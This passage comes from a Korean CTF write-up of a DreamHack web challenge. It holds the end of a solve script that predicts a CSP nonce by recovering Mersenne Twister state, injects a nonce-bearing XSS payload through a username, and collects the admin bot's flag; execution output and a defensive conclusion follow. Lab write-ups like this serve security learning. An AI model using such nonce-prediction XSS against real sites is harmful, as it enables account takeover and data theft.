        assert pred.next_nonce() == nonce_of(requests.get(f'{BASE}/login', allow_redirects=False))
 
    # 4) ๋ด‡ /reports ์‘๋‹ต์˜ nonce๋ฅผ ์˜ˆ์ธกํ•ด username์— ๋ฐ•๋Š”๋‹ค
    target = pred.peek_nonces(OFFSET + 2)[OFFSET]
    xss = f'<script nonce="{target}">{PAYLOAD}</script>'
    assert len(xss) <= 255
 
    # 5) register โ†’ login โ†’ report 3๋ฐœ. report ๊ฐ€ ๋ด‡์˜ /reports ๋ฅผ ๊นจ์šด๋‹ค
    X = requests.Session()
    register(X, xss, 'pw'); login(X, xss, 'pw'); report(X, post_id)
 
    # 6) admin ์ด ์žฌ๊ฒŒ์‹œํ•œ ํ”Œ๋ž˜๊ทธ๋ฅผ ํ”ผ๋“œ์—์„œ ํšŒ์ˆ˜
    for _ in range(20):
        m = re.search(r'DH\{[^}]*\}', tw.get(f'{BASE}/', allow_redirects=False).text)
        if m: print('[+] FLAG:', m.group(0)); return
        time.sleep(1)
 
if __name__ == '__main__':
    main()

์‹คํ–‰ ๊ฒฐ๊ณผ. ๋ณต์› โ†’ ๋ผ์ด๋ธŒ ๊ฒ€์ฆ โ†’ ์˜ˆ์ธก nonce โ†’ username ์ฃผ์ž… โ†’ ํ”Œ๋ž˜๊ทธ ํšŒ์ˆ˜๊ฐ€ ํ•œ ํ๋ฆ„์œผ๋กœ ๋–จ์–ด์ง„๋‹ค.

solve.py ์‹คํ–‰ โ€” MT ๋ณต์›๋ถ€ํ„ฐ ํ”Œ๋ž˜๊ทธ ํšŒ์ˆ˜๊นŒ์ง€
solve.py ์‹คํ–‰ โ€” MT ๋ณต์›๋ถ€ํ„ฐ ํ”Œ๋ž˜๊ทธ ํšŒ์ˆ˜๊นŒ์ง€

[+] MT state recovered & internally verified (800 words synced)
[+] live prediction verified for next 5 responses
[+] target (bot /reports) nonce = e394c3ff1c130124915ecbfec58de052
[+] XSS username (177 chars): <script nonce="e394c3ff1c130124915ecbfec58de052">fetch('/admin')...</script>
[+] report fired; admin bot rendered our username under the predicted nonce
[+] FLAG: DH{e6e701c5:VcbJZsyxrfWdck6i4loUBA==}

admin ๋ด‡์ด ๋ฐ›์•„์˜จ ํ”Œ๋ž˜๊ทธ๋ฅผ ์ž๊ธฐ ์ด๋ฆ„์œผ๋กœ ํ”ผ๋“œ์— ๋‹ค์‹œ ์˜ฌ๋ฆฐ ๋ชจ์Šต์ด๋‹ค. role_id = 1์ธ ๋‚ด ๊ณ„์ •์ด admin์˜ /admin ์‘๋‹ต์„ ๊ทธ๋Œ€๋กœ ์†์— ๋„ฃ์—ˆ๋‹ค.

๊ณต๊ฐœ ํ”ผ๋“œ์— ์˜ฌ๋ผ์˜จ admin์˜ ํ”Œ๋ž˜๊ทธ ๊ธ€
๊ณต๊ฐœ ํ”ผ๋“œ์— ์˜ฌ๋ผ์˜จ admin์˜ ํ”Œ๋ž˜๊ทธ ๊ธ€

FLAG: DH{e6e701c5:VcbJZsyxrfWdck6i4loUBA==}



๐Ÿ“ ๊ฒฐ๋ก 

nonce๋Š” ๋น„๋ฐ€์ผ ๋•Œ๋งŒ nonce๋‹ค.

CSP์˜ nonce๊ฐ€ inline script๋ฅผ ๋ง‰๋Š” ๊ฑด ๊ทธ ๊ฐ’์ด ์ถ”์ธก ๋ถˆ๊ฐ€๋Šฅํ•˜๋‹ค๋Š” ์ „์ œ ์œ„์—์„œ๋‹ค. random.randint๋กœ ๋ฝ‘์€ ์ˆœ๊ฐ„ ๊ทธ ์ „์ œ๊ฐ€ ๋ฌด๋„ˆ์ง€๊ณ , ์‘๋‹ต ํ—ค๋”๋กœ ํ˜๋Ÿฌ๋‚˜์˜ค๋Š” ๊ฐ’๊นŒ์ง€ ๋”ํ•˜๋ฉด ํ•œ ๋ฐœ ์•ž์„ ๋ณด๋Š” ๊ฑด ์‹œ๊ฐ„๋ฌธ์ œ๊ฐ€ ๋œ๋‹ค. secrets๋‚˜ os.urandom์ด์—ˆ๋‹ค๋ฉด ์ด ํ’€์ด๋Š” ์„ฑ๋ฆฝํ•˜์ง€ ์•Š๋Š”๋‹ค.

์›น๊ณผ ํฌ๋ฆฝํ† ๊ฐ€ ํ•œ ์ค„์—์„œ ๋งŒ๋‚œ๋‹ค. XSS ์ง€์ (| safe ํ•œ ๊ธ€์ž)์„ ์ฐพ๋Š” ๊ฑด ์›น์˜ ์˜์—ญ์ด๊ณ , ๊ทธ๊ฑธ ์‹ค์ œ๋กœ ์‹คํ–‰์‹œํ‚ค๋Š” ์—ด์‡ ๋Š” ๋ฉ”๋ฅด์„ผ ํŠธ์œ„์Šคํ„ฐ ๋ณต์›์ด๋ผ๋Š” ํฌ๋ฆฝํ† ๋‹ค. ๋‘˜ ์ค‘ ํ•˜๋‚˜๋งŒ ๋น ์ ธ๋„ ํ”Œ๋ž˜๊ทธ๊นŒ์ง€ ๋ชป ๊ฐ„๋‹ค.

๋งˆ์ง€๋ง‰์€ ์นด์šดํŒ… ์‹ธ์›€์ด์—ˆ๋‹ค. read_reports()๊ฐ€ ๋™๊ธฐ ํ˜ธ์ถœ์ด๋ผ๋Š” ์‚ฌ์‹ค ํ•˜๋‚˜๊ฐ€ "๋ด‡์˜ nonce๊ฐ€ ๋‚ด report_post๋ณด๋‹ค ๋จผ์ €"๋ผ๋Š” ์ˆœ์„œ๋ฅผ ๋งŒ๋“ค์–ด์คฌ๊ณ , username 255์ž ์ œํ•œ์ด "์ •ํ™•ํžˆ ํ•œ ๋ฐœ"์„ ๊ฐ•์ œํ–ˆ๋‹ค. ์ต์Šคํ”Œ๋กœ์ž‡์ด ๋ฉ‹์žˆ์–ด์„œ๊ฐ€ ์•„๋‹ˆ๋ผ, ์‘๋‹ต ์ˆœ์„œ๋ฅผ ํ•œ ์นธ๋„ ์•ˆ ํ‹€๋ฆฌ๊ฒŒ ์…Œ๊ธฐ ๋•Œ๋ฌธ์— ๋งž์€ ๊ฑฐ๋‹ค.

์ „์— ํ’€์—ˆ๋˜ Dream Lectures๋„ ๊ฐ™์€ ๊ณจ๊ฒฉ์ด์—ˆ๋‹ค. ๊ฑฐ๊ธด 16๋น„ํŠธ LFSR์ด๋ผ ๊ฑฐ์˜ ์ฆ‰์‹œ ๋ณต์›๋๋Š”๋ฐ, ์—ฌ๊ธฐ์„  128๋น„ํŠธ MT๋ผ 624์›Œ๋“œ๋ฅผ ๊ธ์–ด๋ชจ์•„์•ผ ํ–ˆ๋‹ค. ๊ฐ™์€ ํŒจํ„ด, ํ•œ ๋‹จ๊ณ„ ์œ„์˜ ๋‚œ๋„.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅ‡ Gold 3] CSP nonce๋ฅผ ์˜ˆ์ธกํ•ด์„œ ๋ฐ•์•„ ๋„ฃ๋‹ค โ€” DreamHack Dream Lectures ํ’€์ด
blog

[๐Ÿฅ‡ Gold 3] CSP nonce๋ฅผ ์˜ˆ์ธกํ•ด์„œ ๋ฐ•์•„ ๋„ฃ๋‹ค โ€” DreamHack Dream Lectures ํ’€์ด

๊ฐ•์˜ ์‹ ์ฒญ ์‚ฌ์ดํŠธ์˜ reason ํ•„๋“œ๊ฐ€ autoescape false๋กœ ๊ทธ๋Œ€๋กœ ๋ Œ๋”๋œ๋‹ค. ์ง„์งœ ๋ฒฝ์€ CSP nonce์ธ๋ฐ, ์ด nonce๊ฐ€ 16๋น„ํŠธ LFSR๋กœ ์ƒ์„ฑ๋˜๊ณ  ๋งค ์‘๋‹ต ํ—ค๋”์— ํ‰๋ฌธ์œผ๋กœ ์ƒŒ๋‹ค. ํ•œ ๋ฒˆ ์ƒˆ์–ด ๋‚˜์˜จ nonce๋กœ LFSR์„ ๋ณต์›ํ•ด ๋‹ค์Œ ๊ฐ’์„ ์˜ˆ์ธกํ•˜๊ณ , apply ํ•œ ์š”์ฒญ ์•ˆ์—์„œ ๋ด‡์ด ํŽ˜์ด์ง€๋ฅผ ์ฝ๋Š” ํƒ€์ด๋ฐ์— ๋งž์ถฐ script nonce๋ฅผ ๋ฐ•์•„ CSP๋ฅผ ํ†ต๊ณผ์‹œํ‚จ ๋’ค navigation์œผ๋กœ ํ”Œ๋ž˜๊ทธ๋ฅผ ๋นผ๋ƒˆ๋‹ค.
#dreamhack#ctf#web+6
2026-06-05#dreamhack +5
[๐Ÿฅˆ Silver 2] nonce๋ฅผ ๋ชฐ๋ผ๋„ ๋šซ๋ฆฌ๋Š” CSP โ€” DreamHack Client Side Template Injection ํ’€์ด
blog

[๐Ÿฅˆ Silver 2] nonce๋ฅผ ๋ชฐ๋ผ๋„ ๋šซ๋ฆฌ๋Š” CSP โ€” DreamHack Client Side Template Injection ํ’€์ด

ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ HTML๋กœ ๊ทธ๋Œ€๋กœ ๋ฐ˜์˜๋˜์ง€๋งŒ CSP๊ฐ€ ์ธ๋ผ์ธ ์Šคํฌ๋ฆฝํŠธ๋ฅผ nonce๋กœ ๋ง‰๋Š”๋‹ค. ๊ทธ๋Ÿฐ๋ฐ script-src์— unsafe-eval๊ณผ ajax.googleapis.com์ด ํ•จ๊ป˜ ์—ด๋ ค ์žˆ์–ด, ๊ฑฐ๊ธฐ์„œ AngularJS๋ฅผ ๋ถˆ๋Ÿฌ CSTI๋กœ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•œ๋‹ค. ๋ด‡์˜ flag ์ฟ ํ‚ค๋ฅผ ๋™์ผ์ถœ์ฒ˜ /memo๋กœ ํ˜๋ ค ํšŒ์ˆ˜ํ–ˆ๋‹ค.
#dreamhack#ctf#web+5
2026-07-13#dreamhack +5
[๐Ÿฅˆ Silver 1] base ํƒœ๊ทธ๋กœ nonce ์Šคํฌ๋ฆฝํŠธ๋ฅผ ํ†ต์งธ๋กœ ํ›”์น˜๋‹ค โ€” DreamHack CSP Bypass Advanced ํ’€์ด
blog

[๐Ÿฅˆ Silver 1] base ํƒœ๊ทธ๋กœ nonce ์Šคํฌ๋ฆฝํŠธ๋ฅผ ํ†ต์งธ๋กœ ํ›”์น˜๋‹ค โ€” DreamHack CSP Bypass Advanced ํ’€์ด

script-src 'self' 'nonce-โ€ฆ' ์— ๋ฐ˜์˜ XSS. ์•ž์„  CSP Bypass๋Š” /vuln์ด ์ž…๋ ฅ์„ raw๋กœ ๋Œ๋ ค์ค˜ ์ž๊ธฐ-์Šคํฌ๋ฆฝํŠธ-๊ฐ€์ ฏ์œผ๋กœ ํ’€๋ ธ์ง€๋งŒ, Advanced๋Š” /vuln์„ HTML๋กœ ๊ฐ์‹ธ ๊ทธ ๊ธธ์„ ๋ง‰์•˜๋‹ค. CSP์— base-uri๊ฐ€ ์—†๋‹ค๋Š” ํ‹ˆ์„ ํŒŒ๊ณ ๋“ค์–ด, base ํƒœ๊ทธ๋กœ ํŽ˜์ด์ง€์˜ ์ •ํ’ˆ nonce ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋กœ ์žฌํ•ด์„์‹œ์ผœ ์ž„์˜ JS๋ฅผ ์‹คํ–‰ํ–ˆ๋‹ค.
#dreamhack#ctf#web+5
2026-07-13#dreamhack +5